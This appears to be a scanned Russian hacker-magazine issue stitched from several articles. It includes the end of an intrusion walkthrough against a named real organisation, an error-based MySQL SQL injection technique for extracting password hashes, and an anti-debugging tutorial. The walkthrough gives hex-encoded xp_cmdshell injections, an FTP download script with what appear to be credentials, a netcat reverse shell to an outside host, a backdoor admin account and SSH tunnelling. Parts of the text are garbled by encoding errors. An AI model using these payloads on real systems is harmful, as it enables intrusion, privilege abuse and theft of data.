При создании скрипта в большинстве случаев достаточно следующих FTP-команд:
• open <server> <port> — устанавливает соединение с указанным FTP-сервером;
• user <username> [password] — позволяет указать учетные данные для аутентификации;
• binary — устанавливает двоичный режим передачи;
• get <remote-file> [local-file] — копирует удаленный файл на локальную систему;
• quit — закрывает FTP-сессию.

ЗАЛИВКА ПО FTP
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Пришлось задуматься над  использованием 
стандартных средств ОС, доступных из команд-
ной строки и позволяющих скачивать файлы по 
сети. Немного подумай… — ну, конечно, это ftp.
exe. Продолжая тему сиквела, в качестве ftp-
сервера я цинично использовал ism.ws:. 
Так как интерактивной сессии не было, следо-
вало составить скрипт с командами и скормить 
его клиенту. Синтаксис скрипта для ftp-клиента 
очень прост — в каждой строчке по отдельной 
команде. Для начала я набросал команды по 
созданию скриптов. Выполнять каждую по от-
дельности не хотелось, и я использовал режим 
последовательного выполнения команд cmd.
exe с использованием амперсандов. Так, для 
скачивания nc.exe нужно было выполнить:

mkdir %TEMP%\test && echo open 

ftp2.rd.net 21 >> %TEMP%\test\

test.txt && echo USER ism.ws.prod.

code jaWlUXkaZNNWFuzFb >> %TEMP%\

test\test.txt && echo binary >> 

%TEMP%\test\test.txt && echo get 

tools\nc.exe %TEMP%\test\nc.exe >> 

%TEMP%\test\test.txt && echo quit >> 

%TEMP%\test\test.txt && ftp.exe -i 

-n -v -s:%TEMP%\test\test.txt.

По выполнении этой команды в директории 
%TEMP%\test должен появиться файл nc.exe. 
После кодирования и подстановки в шаблон 
был инъектирован код:

; declare @v as varchar(2048) 

declare @n as nvarchar(2048) set @v = 

0x6d61737465722e2e78705f636d647368

656c6c set @n = cast(@v as nvarchar) 

set @v = 0x6d6b646972202554454d5025

5c5c74657374202626206563686f206f70

656e20667470322e72642e6e6574203231

203e3e202554454d50255c5c746573745c

5c746573742e747874202626206563686f2
0555345522069736d2e77732e70726f642
e636f6465206a61576c55586b615a4e4e5

746757a4662203e3e202554454d50255c5

c746573745c5c746573742e74787420262

6206563686f2062696e617279203e3e202

554454d50255c5c746573745c5c7465737

42e747874202626206563686f206765742

0746f6f6c735c5c6e632e6578652025544

54d50255c5c746573745c5c6e632e65786

5203e3e202554454d50255c5c746573745

c5c746573742e747874202626206563686

f2071756974203e3e202554454d50255c5

c746573745c5c746573742e74787420262

6206674702e657865202d69202d6e202d7

6202d733a2554454d50255c5c746573745

c5c746573742e747874 insert into foo 

execute @n @v--.

Для проверки выполняем dir %temp%\test:

; declare @v as varchar(2048) 

declare @n as nvarchar(2048) set @v = 

0x6d61737465722e2e78705f636d647368

656c6c set @n = cast(@v as nvarchar) 

set @v = 0x6970636f6e666967 insert 

into foo execute @n @v--.

Все ОК, nc.exe на месте. Точно так же заливаем 
plink.exe (можно было и в один скрипт засунуть), 
только директорию создавать уже не надо.

ШАГ 7. ЗАКРЕПЛЕНИЕ
Далее нужно запустить такие команды, как net 
user и net localgroup. Можно все делать через 
инъекцию, но при наличии netcat это уже не имеет 
смысла. Поэтому на дедике я запустил nc.exe в 
режиме прослушивания порта 1234:

nc.exe -l -p 1234.

Для реверс коннекта к деду и проброса шелла 
следовало выполнить команду:

%temp%\test\nc.exe m0r0.ded.com 

1234 -e cmd

– со стороны сервака. После кодирования 
имеем следующий инъект:

; declare @v as varchar(2048) 

ПРОЦЕДУРА XP_CMDSHELL АКТИВИРОВАНА

ФИЛЬТРАЦИЯ В ДЕЙСТВИИ

ОПРЕДЕЛЯЕМ КОЛИЧЕСТВО СТРОК В ВЫВОДЕ КОМАНДЫ
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declare @n as nvarchar(2048) set @v = 0x6d61737465722e

2e78705f636d647368656c6c set @n = cast(@v as nvarchar) 

set @v = 0x2574656d70255c5c746573745c5c6e632e657865206

d3072302e6465642e636f6d2031323334202d6520636d64 insert 

into foo execute @n @v-

Все прошло как нельзя гладко, и в консоли деда я увидел шелл подо-
пытного сервера. Воспользовавшись консолью, я активировал юзера 
support_388945a0 и добавил его в группу администраторов:

net user support_388945a0 /active:yes m0r0pass

net localgroup administrators support_388945a0 /add.

ШАГ 8. АТАКА
Глотнув еще кефира, я запустил на деде SSH-сервер. На автомате в консоли 
появилась команда для подключения по SSH. Классика проникновения:

%temp%\test\plink.exe -nc m0r0.ded.com:22 -batch -pw 

<pass>-R 3390:127.0.0.1:3389 -L 3390:127.0.0.1:3390 -l 

<username> -auto_store_key_in_cache m0r0.ded.com

Сервак в наших руках, — можно подключаться на 127.0.0.1:3990. 
После ввода логина и пароля я оказался на территории врага. 
СУБД работала в режиме Windows Authentication, так что получить 
доступ ко всем БД и слить дампы не составляло труда. Развитие 
успеха я оставлю за кадром, предлагая включить фантазию.

ТЯЖЕЛО В УЧЕНИИ
Окучивая NAFCU, я столкнулся со многими, казалось, непреодо-
лимыми трудностями. Это и активация xp_cmdshell, и обход WAF, 
и заливка файлов, и, конечно, уже классический обход файра с 
помощью реверс-коннекта по SSH. Однако суть не в этом. 
Прелесть в том, что это не уникальный баг, а типовая ситуация, и 
все вышеописанное следует расценивать как методику. Имея в ру-
каве такие козыри, как инъекция и доступ с правами sa, ты можешь 
не бояться за исход партии, главное — умело ими воспользоваться. 
Все описанные действия были совершены под музыку Бетховена. 
Слушай классику и будь счастлив.z

ЛЬЕМ ФАЙЛЫ FTP-КЛИЕНТОМ ПРИЛОЖЕНИЕ ПОД УЧЕТКОЙ SA 
НЕ ТАКАЯ УЖ И РЕДКОСТЬ

Простейший способ определения уязвимых параметров заключа-
ется в подстановке кавычек в передаваемые значения. Собст-
венно, таким образом и были обнаружены уязвимости NAFCU. 
Не стоит зацикливаться исключительно на кавычках. Во-первых, 
ошибки могут просто не выводиться. В этом случае при подста-
новке кавычки ты тупо ничего не увидишь. Во-вторых, кавычки 
могут экранироваться. Ошибки никакой не произойдет, а инъ-
екция, тем не менее, может присутствовать. Так, например, при 
переполнении целочисленных параметров кавычки и вовсе не 
нужны. Наконец, параметр может быть уязвим к слепым инъекци-
ям. Подставлять кавычку здесь — это как ядерной боеголовкой по 
муравейнику. Поэтому помимо кавычек я повсеместно использую 
конструкции «and 1=1--» и «and 1=0--», добавляя их к основному 
значению параметра в различных вариациях. Стопроцентной 
гарантии нет, но в большинстве случаев при наличии инъекции 
сервер будет возвращать разные результаты. Главное убедиться, 
что основное значение параметра обеспечивает возврат каких-
нибудь данных. Отличие в результатах ты можешь увидеть на глаз. 
Но можешь и не увидеть, если оно незначительно или не выво-
дится браузером. В любом случае стоит заглядывать в HTM-коды 
страниц и сравнивать их между собой. Вручную делать это крайне 
неэффективно, поэтому советую задуматься о разработке средств 
автоматизации.

ПОИСК ИНЪЕКЦИЙ

ВЗЛОМ

Совет №2. 
Раз в два часа 
отрывайся от работы 
и устраивайте прогулку!
Если возможно, гуляй по 5-10 
минут на улице. Но можешь 
ходить и в офисе. А чтобы все 
думали не то, что ты бездельни-
чаешь (они ведь не знают про 
«Календарь Здоровья»!), а что у 
тебя важные дела по работе — 
возьми в руки стопку исписан-
ных бумаг. Это работает!
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Не прошло и трех дней после сдачи моей прошлой статьи, как в голове 
родилась совершенно новая и куда более эффективная методика 
работы с Blind SQL Injection. Если ты помнишь, я рассказывал о том, 
как существенно уменьшить количество запросов к серверу 
при работе с уязвимостями такого рода. Сегодня я покажу поистине 
революционные приемы инъектирования. А ты внимательно слушай 
и конспектируй.

ДОБИВАЕМ 
SQL
Новейшие способы работы с инъекциями

ВЗЛОМ
  QWAZAR  /QWAZAR@ANTICHAT.NET/ 

XÀÊÅÐ  09  /129/  09

РАЗБИРАЕМСЯ 
С ИМЕНАМИ СТОЛБЦОВ
Начались мои исследования с попытки решить 
вторую основную проблему тех, кто работает с 
инъекциями в MySQL. Она заключается в не-
возможности получить имена таблиц и столб-
цов в MySQL 4-й ветки, не прибегая к полному 
перебору. 
Насколько нам всем известно, в этой ветке 
начисто отсутствует системная таблица 
INFORMATION_SCHEMA.tables, и данные о 
таблицах, хранящихся в базе данных, нигде в 
виде, доступном для чтения, не содержатся. 
Эта особенность доставляет массу неудобств. 
Изначально задумка состояла в том, чтобы 
попытаться найти такую ошибку выполнения 
SQL-запроса, в которой выводится какая-ни-
будь информация о текущей таблице. Немного 

пошерстив документацию, обнаруживаем 
ошибку:

Error: 1060 SQLSTATE: 42S21  (ER_

DUP_FIELDNAME)

Message: Duplicate column name '%s' 

Забиваем текст в поисковик и видим: эту 
ошибку можно получить, если задать уже 
существующее имя колонки в оператор ALTER 
TABLE, или если неправильно воспользоваться 
оператором JOIN. Вариант с ALTER TABLE не 
подходит, так как его невозможно использовать 
в SELECT-запросе. Попробуем вариант с JOIN.
Для начала выясним, когда именно эта ошибка 
возникает в SELECT-запросе. Посмотрев доку-
ментацию, выясняем, что эта ошибка возникает 
тогда, когда ты при помощи оператора SELECT 

пытаешься получить имя какой-нибудь колонки 
(к примеру, id) и тут оказывается, что колонок 
с именем id несколько. Оператор SELECT 
теряется и выплевывает ошибку. Мол, колонок 
с именем 'id' несколько, и он не знает, какая 
именно тебе нужна.
Теперь вспомним о том, что оператор JOIN ис-
пользуется для связывания двух таблиц между 
собой. Запускаем запрос с использованием 
JOIN:

mysql> select * from users join news;

+----+------+-----------+---------

-+----+-------+------------+

| id | name | passwd    | is_admin | id 

| title | date       |

+----+------+-----------+---------

-+----+-------+------------+

|  1 | Ivan | password1 |        1 |  1 | 

When an attacker executes SQL Injection attacks 

sometimes the server responds with error messages 

from the database server complaining that the SQL 

Query's syntax is incorrect. Blind SQL injection 

is identical to normal SQL Injection except 

that when an attacker attempts to exploit an 

application rather then getting a useful error 

message they get a generic page specified by 

the developer instead. This makes exploiting a 

potential SQL Injection attack more difficult but 

not impossible. An attacker can still steal data 

by asking a series of True and False questions 

through sql statements. 

Additional information on SQL injection 

including useful articles and links can be found 

at our SQL Injection page below http://www.

cgisecurity.com/development/sql.shtml

Blind SQL Injection
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test1 | 22-12-2009 |

+----+------+-----------+----------+----+-------+----

--------+

1 row in set (0.00 sec)

И видим, что он вернул нам содержимое таблиц ̀ users` и ̀ news` 
в виде одной таблицы, причем имена колонок в таблицах остались 
прежними. То есть, у нас в выводимом результате — две колонки 
с именем 'id'. Попробуем получить значение поля 'id' из таблицы, 
составленной выше. Не забываем о том, что для сложных запросов 
MySQL требует указания алиасов для каждой таблицы, участвующей 
в запросе.

mysql> select * from (select * from users as a join news 

as b) as c;

ERROR 1060 (42S21): Duplicate column name 'id'

Отлично! Получили то, что хотели, осталось подумать, как при помощи 
подобного запроса получить имена всех столбцов, к примеру, таблицы 
`users`. Джойним ее саму с собой:

mysql> select * from (select * from users as a join users 

as b) as c;

ERROR 1060 (42S21): Duplicate column name 'id'

На выходе получаем имя первого столбца таблицы. Думаем, как полу-
чить остальные. Снова смотрим в документацию и находим оператор 
USING, который используется для указания списка столбцов, которые 
присутствуют в обеих таблицах:

USING (column_list) ñëóæèò äëÿ óêàçàíèÿ ñïèñêà ñòîëá-

öîâ, êîòîðûå äîëæíû ñóùåñòâîâàòü â îáåèõ òàáëèöàõ. Òàêîå 

âûðàæåíèå USING, êàê:

A LEFT JOIN B USING (C1,C2,C3,...)

ñåìàíòè÷åñêè èäåíòè÷íî âûðàæåíèþ ON, íàïðèìåð:

A.C1=B.C1 AND A.C2=B.C2 AND A.C3=B.C3,...

То есть, объединив таблицы ̀ news` и ̀ users` и используя оператор 
USING() с параметром 'id', мы получим результирующую таблицу, в 
которой столбец с именем 'id' будет присутствовать только один раз. 
Пробуем:

mysql> select * from users a join news b USING(id);

+----+------+-----------+----------+-------+---------

---+

| id | name | passwd    | is_admin | title | date       |

+----+------+-----------+----------+-------+---------

---+

|  1 | Ivan | password1 |        1 | test1 | 22-12-2009 |

+----+------+-----------+----------+-------+---------

---+

1 row in set (0.00 sec)

Действительно, видим только один столбец с именем 'id', а значит и 
попытка получить столбец с именем 'id' из этой таблицы никакой ошибки 
не спровоцирует.
Применим этот оператор для получения имен остальных полей из табли-
цы ̀ users`, с учетом того, что имя 'id' мы уже знаем:

mysql> select * from (select * from users a join users b 

using(id))c;

ERROR 1060 (42S21): Duplicate column name 'name'

Ага, узнали еще одно имя столбца — 'name', пробуем дальше:

mysql> select * from (select * from users a join users b 

ПОЛУЧАЕМ ИМЕНА КОЛОНОК ТАБЛИЦЫ USERS
ВЫВОД ИМЕНИ ПОЛЬЗОВАТЕЛЯ И ЕГО ПАРОЛЯ В 
ТЕКСТЕ ОШИБКИ
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forum.antichat.ru/
thread43966.html — 
все о SQL Injection.
dev.mysql.com/doc 
— документация по 
MySQL.
forum.antichat.ru/
thread119047.html 
— методы быстрой 
работы со слепыми 
инъекциями.

links

HTTP://WWW

info

Эти методы можно 
использовать 
и в обычных инъекци-
ях. При их использо-
вании не придется 
подбирать количество 
колонок в запросе.

INFO

warning
Внимание! Инфор-
мация представлена 
исключительно с 
целью ознакомления! 
Ни автор, ни редак-
ция за твои действия 
ответственности не 
несут!

WARNING

ВЗЛОМ

using(id, name))c;

ERROR 1060 (42S21): Duplicate column name 

'passwd'

Узнаем имя третьего столбца. И так, один за другим, выявля-
ем имена столбцов в этой таблице. В конце, когда выясним 
все имена, ошибки не будет, и запрос выполнится успешно.

mysql> select * from (select * from users a join 

users b using(id, name, passwd, is_admin))c;

+----+------+-----------+----------+

| id | name | passwd    | is_admin |

+----+------+-----------+----------+

|  1 | Ivan | password1 |        1 |

+----+------+-----------+----------+

1 row in set (0.00 sec)

Делаем вывод, что в таблице ̀ users` присутствуют столбцы 
'id', 'name', 'passwd', 'is_admin'. Вроде бы все хорошо, но... 
метод не срабатывает на MySQL 4-й версии. Выясняет-
ся, что в четвертой версии при таком запросе возникает 
совершенно другая ошибка. Следовательно, все описанное 
выше может использоваться, только если по каким-ли-
бо причинам мы не можем воспользоваться таблицей 
INFORMATION_SCHEMA.tables в пятой или шестой версиях 
MySQL.

ВЗГЛЯД ПОД ДРУГИМ УГЛОМ
Возможность получать имена столбцов без использования 
INFORMATION_SCHEMA — это, конечно, возможность по-
лезная, но такая необходимость возникает довольно редко. 
Разве что в слепых SQL-инъекциях, с возможностью выво-
да ошибки, где стандартный процесс получения значений 
занимает достаточно много времени. А тут пара запросов 
— и все нужные значения получены. Хотелось бы выжать из 
этой ошибки большее...
Недавно мне в аську постучался jokester (Джок, большой 
тебе привет!) и предложил следующую идею: «А почему бы 
не попробовать выводить значение какого-либо поля из 
базы данных в тексте ошибки целиком, не прибегая к клас-
сическому использованию more 1 row?». «Идея отличная», 
— согласился я.
Он начал исследовать варианты составления запросов с 
использованием ORDER BY, которые при неправильном 
значении сортируемого поля выводят ошибку:

mysql> select * from users order by lala;

ERROR 1054 (42S22): Unknown column 'lala' in 

'order clause'

Я же вспомнил о методе вывода имен колонок с исполь-
зованием JOIN. Через некоторое время мы оба пришли к 
тому, что нужно найти какой-нибудь способ заставить базу 
данных воспринимать значение поля как имя колонки. 
Это обуславливается тем, что запросы, которые ругаются 
на неправильное имя колонки, есть, а запросов, которые 
ругаются на неправильные данные в таблице и при этом их 
выводят, — нет.
Отлично, задача поставлена, зарываемся в документацию. 
Находим интересную функцию в разделе «Miscellaneous 
Functions», с пометкой «for internal use only». Функция 
называется NAME_CONST(). Используется так: NAME_
CONST(name,value). Результатом работы станет значение 
'value' в столбце с именем 'name':

mysql> select name_const('Test', 111);

+------+

| Test |

+------+

|  111 |

+------+

1 row in set (0.00 sec)

Как раз то, что нужно! Проверим, возможно ли вместо зна-
чения 'value' выполнить какой-нибудь запрос. Достанем, к 
примеру, поле 'passhash' из таблицы 'users':

mysql> select name_const((select passhash from 

users where id=1), 111);

+----------------------------------+

| f8d80def69dc3ee86c5381219e4c5c80 |

+----------------------------------+

|                              111 |

+----------------------------------+

1 row in set (0.00 sec)1 row in set (0.03 sec)

 
Отлично, все сработало, как надо — в имени столбца 
мы видим строку  'f8d80def69dc3ee86c5381219e4c5c80
', которая является паролем первого пользователя из 
таблицы 'users'. 

СПИСОК ВОЗМОЖНЫХ ОШИБОК 
SQL-ЗАПРОСОВ МОЖЕТ СКАЗАТЬ 
О МНОГОМ
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MYSQL НЕ МОЖЕТ ПОНЯТЬ, КАКОЕ ИМЕННО 
ПОЛЕ НАМ НУЖНО

А теперь используем этот запрос в методе получения имен полей, без 
использования INFORMATION_SCHEMA. Аккуратненько составляем 
запрос, подставив вызов функции NAME_CONST вместо имени таблицы, 
в которой узнаем имена столбцов. Не забываем добавлять алиасы к 
каждой используемой таблице и стараемся не запутаться в скобочках. 
Запускаем:

mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_

CONST((SELECT passwd FROM users LIMIT 1),1)x)a JOIN 

(SELECT NAME_CONST((SELECT passwd FROM users LIMIT 1),1)

k)e)r;

ERROR 1060 (42S21): Duplicate column name 'f8d80def69dc3

ee86c5381219e4c5c80'

Вот мы и добились, чего хотели. Теперь мы знаем, как достать из базы 
данных любое поле за один запрос! Попробуем вытащить больше чем 
одно поле при помощи функции CONCAT(), назначение которой объеди-
нять две и более строк. Например:

mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_

CONST((SELECT concat(name,0x3a,passwd) FROM users 

LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT 

concat(name,0x3a,passwd) FROM users LIMIT 1),1)k)e)r;

ERROR 1060 (42S21): Duplicate column name 'admin:f8d80de

f69dc3ee86c5381219e4c5c80' 

Так мы и получили два поля за один запрос. К сожалению, бесконечно 
увеличивать количество выводимых полей невозможно, так как вывести 
более 64 символов не получится. Но эта проблема решаема, если ис-
пользовать функцию SUBSTRING(), описание к которой ты без проблем 
найдешь в официальной документации.

ЗАКЛЮЧЕНИЕ
Далеко не все методики работы с уязвимостями исследованы до конца, ва-
риантов упростить свою работу множество. Поэтому советую  всем хакерам 
отвлекаться от тривиального взлома и уделять время новым исследовани-
ям. Ведь хакер это, в первую очередь, исследователь, не так ли? z

МАЛОИЗВЕСТНАЯ ФУНКЦИЯ 
NAME_CONST()

ПОЛУЧЕНИЕ ХЕША ПАРОЛЯ В КАЧЕСТВЕ ИМЕНИ СТОЛБЦА

ИСПОЛЬЗОВАНИЕ НОВОГО МЕТОДА
НА ДЕЙСТВИТЕЛЬНО СУЩЕСТВУЮЩЕМ 
WEB-ПРИЛОЖЕНИИ

Совет №3. Спи с открытым окном!
Пока ещё не настала зима, и на улице не так холодно, как будет в дека-
бре, открытое окно не доставит тебе дискомфорта, зато доставит 
в твой организм больше полезного кислорода. Утром проснёшься 
свежим и бодрым. Конечно, злоупотреблять не следует, но в разумных 
пределах это очень полезно!
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ВАШЕ ВРЕМЯ ВЫШЛО!
Факт выполнения кода под отладчиком скрыть 
достаточно сложно, это в особенности отно-
сится ко времени выполнения инструкций. 
Действительно, каждая инструкция выполня-
ется процессором за определенное количество 
тактов. Зная тактовую частоту процессора, 
легко вычислить временной промежуток, 
необходимый для выполнения того или иного 
объема вычислений. Даже если невозможно 
определить, какой процессор воткнут в разъем 
материнской платы, можно рассчитать диа-

пазон, в который теоретически  укладывается 
скорость интерпретации машинных инструк-
ций. Можно вводить поправку и на разницу в 
частотах, и на количество ядер процессора, и 
на технологии оптимизации выполнения кода, 
используемые в тех или иных процессорах. 
Но и это не столь важно, если рассматривать 
достаточно распространенное оборудование, 
например, процессоры Intel и AMD. Значит, 
можно использовать антиотладочные приемы, 
построенные на принципе замера времени 
исполнения некоторых инструкций.

Работая над антиотладочным кодом, мы 
можем пойти по одному из следующих 
путей:
1. Замер времени выполнения инструкции, 
сравнение полученного времени со значением, 
которое укладывается в принятые рамки, но 
имеет «запас».
2. Точный замер времени выполнения ряда 
инструкций, например, очень большого цикла.
Как первый, так и второй способы имеют свои 
преимущества.
Процессор оперирует понятием такта, который 
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В Сети можно найти огромное количество статей, посвященных ре-
версингу. Правда, большинство направлены на изучение методов 
снятия конкретных пакеров и протекторов. В то же время трудно най-
ти хорошее руководство по антиотладке, которое бы описывало мето-
ды, применимые во многих случаях. 

ВЗЛОМ
  ЛЕОНИД  «CR@WLER» ИСУПОВ  /  CRAWLER@XAKEP.RU /  

Активно противодействуем отладке нашего приложения

АНТИОТЛАДОЧНЫЕ 
ТРЮКИ

«ДЕБРИ» КОДА, В КОТОРЫЕ УХОДИТ 
ЗАЩИЩЕННАЯ ПРОГРАММА, 
ВЫПОЛНЯЕМАЯ ПОД ОТЛАДЧИКОМ
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В ПРИНЦИПЕ, ВЫХОД ЕСТЬ. ОБНУЛЕНИЕ 
СЧЕТЧИКА ИЛИ ЗАМЕНА ИНСТРУКЦИИ НА 
«NOP» ДАДУТ РЕЗУЛЬТАТ, НО ИСПОЛЬЗОВАНИЕ 
МОДИФИКАЦИЙ МЕТОДА ПОЗВОЛЯЕТ 
ИСКЛЮЧИТЬ И ЭТУ ВОЗМОЖНОСТЬ

в некотором смысле является аналогом 
временного промежутка. Если каким-либо 
образом получить количество тактов, которое 
процессор выполнил с момента последнего 
сброса счетчика тактов, становится возмож-
ным использовать это значение, чтобы опре-
делить, выполняется ли поток машинного кода 
с положенной скоростью, или же программа 
запущена под отладчиком. Такая возможность 
существует, инструкция «rdtsc» предоставляет 
программисту средства для подсчета коли-
чества тактов, выполненных процессором с 
момента последнего сброса. Вот как описыва-
ет эту инструкцию «Википедия»:

«rdtsc (Read Time Stamp Counter) — 

àññåìáëåðíàÿ èíñòðóêöèÿ äëÿ ïëàò-

ôîðìû x86, ÷èòàþùàÿ ñ÷åò÷èê TSC 

(Time Stamp Counter) è âîçâðàùàþùàÿ 

â ðåãèñòðàõ EDX:EAX 64-áèòíîå êîëè-

÷åñòâî òàêòîâ ñ ìîìåíòà ïîñëåäíåãî 

ñáðîñà ïðîöåññîðà. rdtsc ïîääåðæè-

âàåòñÿ â ïðîöåññîðàõ Pentium è áîëåå 

íîâûõ. Îïêîä: 0F 31. Â ìíîãîçàäà÷íûõ 

îïåðàöèîííûõ ñèñòåìàõ èíñòðóêöèÿ 

ìîæåò áûòü ïðåâðàùåíà â ïðèâèëåãèðî-

âàííóþ (óñòàíîâëåí 3 áèò â óïðàâëÿþ-

ùåì ðåãèñòðå CR4), è åå èñïîëüçîâà-

íèå ïðèâåäåò ê ãåíåðàöèè èñêëþ÷åíèÿ 

â ïðîãðàììå».

Для того чтобы использовать инструкцию 
RDTSC в антиотладочных целях, необходимо 
выполнить ее дважды: до и после выполне-
ния кода, для которого будет производиться 
замер:

ADDRESS: RDTSC

ADDRESS_2: âûïîëíÿåìûé êîä

ADDRESS_3:RDTSC

Естественно, код, для которого производится 
замер, может быть и не специально написан-
ным набором инструкций, а какой-либо частью 
программы. Младшая часть 64-битной после-
довательности, содержащей количество так-
тов, помещается в регистр EAX. В большинстве 
случаев (для незначительного количества 
инструкций) изменен будет именно он, стар-
шая же часть последовательности — регистр 
EDX — останется неизменной. Значит, если 
выполнить два замера количества тактов — до 
и после выполнения проверочного кода — и 
получить разность значений, которыми были 
инициализированы регистры EAX, полученное 
значение будет количеством тактов, которое 
процессор выполнил между замерами. Если 
предположить, что одна инструкция не может 
выполняться процессором за время, когда 
счетчик «наматывает» более 0x1000 тактов, 
можно реализовать антиотладочный прием 
следующим образом:

RDTSC

XCHG EAX, ECX

RDTSC

SUB EAX, ECX

CMP EAX, 1000

 JBE NOT_DEBUGGED

CALL Kernel32.TerminateProcess

…

NOT_DEBUGGED: âûïîëíåíèå ïðîãðàììû

Инструкция «XCHG EAX, ECX» одновремен-
но является и инструкцией, для которой 
замеряется «тактовый промежуток», и частью 
антиотладочного кода (производится сохра-
нение содержимого регистра EAX в регистр 
ECX перед повторным получением количес-
тва тактов). После выполнения первых трех 
инструкций регистры EAX и ECX содержат 
значения, соответствующие количеству тактов, 
выполненных процессором в разное время 
(на моменты до и после вызова инструкции 
«XCHG»). Далее вычисляется их разность и ее 
сравнение со значением 0x1000. Полученная 
разность превысила заданную величину? Нас 
отлаживают, завершаем работу.
Попробуем использовать наш код в програм-
ме, написанной на ассемблере. Ее исходный 
код выглядит так:

.386

.model flat,stdcall

option casemap:none

; ïîäêëþ÷åíèå íåîáõîäèìûõ áèáëèîòåê:

include \masm32\include\windows.inc   ;

include \masm32\include\kernel32.inc ;

includelib \masm32\lib\kernel32.lib  ;

include \masm32\include\user32.inc   ;

includelib \masm32\lib\user32.lib     ;

; ñåêöèÿ äàííûõ

.data

alert_upper  db "Simply program",0

alert_text   db "Hello, World!",0

НЕ СПАСАЕТ ПОЛОЖЕНИЕ ДАЖЕ 
ВЫПОЛНЕНИЕ ПРОГРАММЫ ПО 
<F9>

КОД ВЫПОЛНЯЕТСЯ ПОД OLLYDBG ПО <F7>. 
РЕЗУЛЬТАТ — ВОЗНИКНОВЕНИЕ ИСКЛЮЧЕНИЯ



; ñåêöèÿ êîäà

.code

start:

   invoke MessageBox, 

 NULL, 

 addr alert_text, 

 addr alert_upper, 

 MB_OK

   invoke ExitProcess, NULL

end start

У тебя есть несколько путей реализации анти-
отладочного приема — можно внедрить нашу 
конструкцию непосредственно в исходный 
код, можно внести изменения в уже откомпи-
лированный PE-файл. Я предпочитаю второй 
способ — он годится для защиты и тех про-
грамм, исходным кодом которых мы не рас-
полагаем. Значит, откомпилируем программу 
при помощи MASM («ml /c /coff /Cp имя_фай-
ла.asm»; «link /SUBSYSTEM:WINDOWS /
LIBPATH:c:\masm32\lib /SECTION:.text,RWE 
имя_файла.obj»). И модифицируем ее любым 
отладчиком, например, OllyDBG. Для «подо-
пытной», исходный код которой был рассмот-
рен выше, набор антиотладочных инструкций, 
базирующийся по адресу 0x401026, будет 
выглядеть так:

00401026  RDTSC

00401028  XCHG EAX,ECX

00401029  RDTSC

0040102B  SUB EAX,ECX

0040102D  CMP EAX,500

00401032  JBE SHORT ex_tickc.00401000 

; ïåðåõîä ê òî÷êå âõîäà ïðîãðàììû

Программиста не интересуют последствия 
выполнения кода, следующего после адреса 

0x401032, хотя можно разместить ниже услов-
ного перехода инструкцию завершения работы 
программы. Результат обнадеживает: отладчик 
OllyDBG не справился с выполнением кода :). 

ЖЕЛЕЗНАЯ АНТИОТЛАДКА
Особенности выполнения некоторых инструк-
ций процессорами позволяет создавать антиот-
ладочные методы, обойти которые способен не 
каждый реверсер. Это связано с особенностями 
архитектуры процессоров, которые не учиты-
вают отладчики. В качестве примера можно 
привести особенности очереди предваритель-
ной выборки процессоров Intel. Сайт www.intel.
com комментирует понятие «предварительная 
выборка»: 

«Èñõîäÿ èç ñîäåðæàíèÿ òåêóùåé êî-

ìàíäû èëè ïîñòàâëåííîé çàäà÷è, áëîê 

ïðåäâàðèòåëüíîé âûáîðêè îïðåäåëÿ-

åò ïîðÿäîê çàïðîñà ñîîòâåòñòâóþùèõ 

äàííûõ è èíñòðóêöèé èç êîìàíäíîé êýø-

ïàìÿòè èëè ñèñòåìíîé ïàìÿòè êîìïüþ-

òåðà. Ïî ìåðå ïîñòóïëåíèÿ èíñòðóêöèé 

âàæíåéøåé çàäà÷åé áëîêà ïðåäâàðè-

òåëüíîé âûáîðêè ñòàíîâèòñÿ èõ ïðà-

âèëüíîå «âûñòðàèâàíèå» è ïåðåñûëêà â 

áëîê äåêîäèðîâêè».

Один из способов антиотладки, использующей 
механизм очереди предварительной выборки, 
— перезапись исполняемого кода. Рассмотрим 
псевдокод:

ADDRESS_01: CALL ADDRESS_03

ADDRESS_02: èíñòðóêöèè, ïîäëåæàùèå 

èñïîëíåíèþ

ADDRESS_03: MOV AL, 0C3h

MOV EDI, OFFSET ADDRESS_03

OR ECX, FFFFFFFF

REP STOSB

Исполнение этого набора инструкций приведет 
к различным результатам, в зависимости от 
того, как код был выполнен (под отладчиком или 
штатно), какие атрибуты имеет страница памя-
ти, следующая за страницей, содержащей код.
Если атрибут «writeable» секции не установлен, 
исполнение кода приведет к возникновению 
исключения, что неизбежно повлечет крах 
программы. Поэтому для его использования 
необходимо предусмотреть установку необхо-
димых атрибутов на страницы памяти.
Итак, как уже было сказано, результат выпол-
нения кода зависит от нескольких факторов. 
Функция данного кода, несложно догадаться 
— перезапись инструкций поверх уже существу-
ющих. Значит, поверх инструкции «REP STOSB» 
должен записаться код, соответствующий шест-
надцатеричному значению 0xC3. Естественно 
предположить, что выполнение кода должно 
остановиться сразу после того, как инструкция 
REP STOSB будет перезаписана. Действитель-
но, такое «поведение» процессора, выполняю-
щего машинный код, кажется логичным — ведь 
на месте ранее выполнявшегося кода находит-
ся новый (машинный код 0xC3 соответствует 
инструкции RET). В случае если код выполнялся 
в контексте отладчика, все будет происхо-
дить именно таким образом — выполнение 
остановится, инструкция RET выполнится, 
возвращая управление по тому адресу, который 
был сохранен в стек. Если отладчик в памяти 
отсутствует, а процесс исполняется в контексте 
операционной системы без посредничества от-
ладчика, произойдет исключение, тип которого 
может варьироваться в зависимости от способа 
размещения памяти, которая находится сразу 
после рассматриваемого кода.
В случае если память является обычной 
виртуальной областью, будет сгенерировано 
исключение «Ошибка доступа к памяти» (Access 
violation). Программа будет завершена, однако 
если обработчик исключений установлен, 
ошибка может быть обработана. В случае если 
обращения к виртуальной памяти не произош-
ло, выполнение инструкции rep будет прекра-
щено. Произойдет следующая последователь-
ность событий: запись инструкции «RET» (ей 
соответствует размещенный в части регистра 
AX байт-код), ее выполнение и, соответственно, 
возврат к ADDRESS_02 (в стеке размещен адрес 
инструкции, следующей за REP).
Объяснение этому — особенность механизма 
предварительной выборки. Процессоры Intel 
младше Pentium при записи в адрес памя-
ти, соответствующий адресу в очереди, не 
очищали очередь предварительной выборки 
автоматически. Очередь очищалась лишь тог-
да, когда вызывалось исключение (exception). 
Например, в случае с пошаговым исключением, 
которое используется отладчиками приклад-
ного уровня, очередь автоматически очища-
лась. Таким образом, на процессорах данного 
типа, в отсутствии отладчика, выполнялась 
бы оригинальная машинная инструкция. 
Если же отладчик присутствует, очередь будет 
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очищаться; соответственно, выполняться будет 
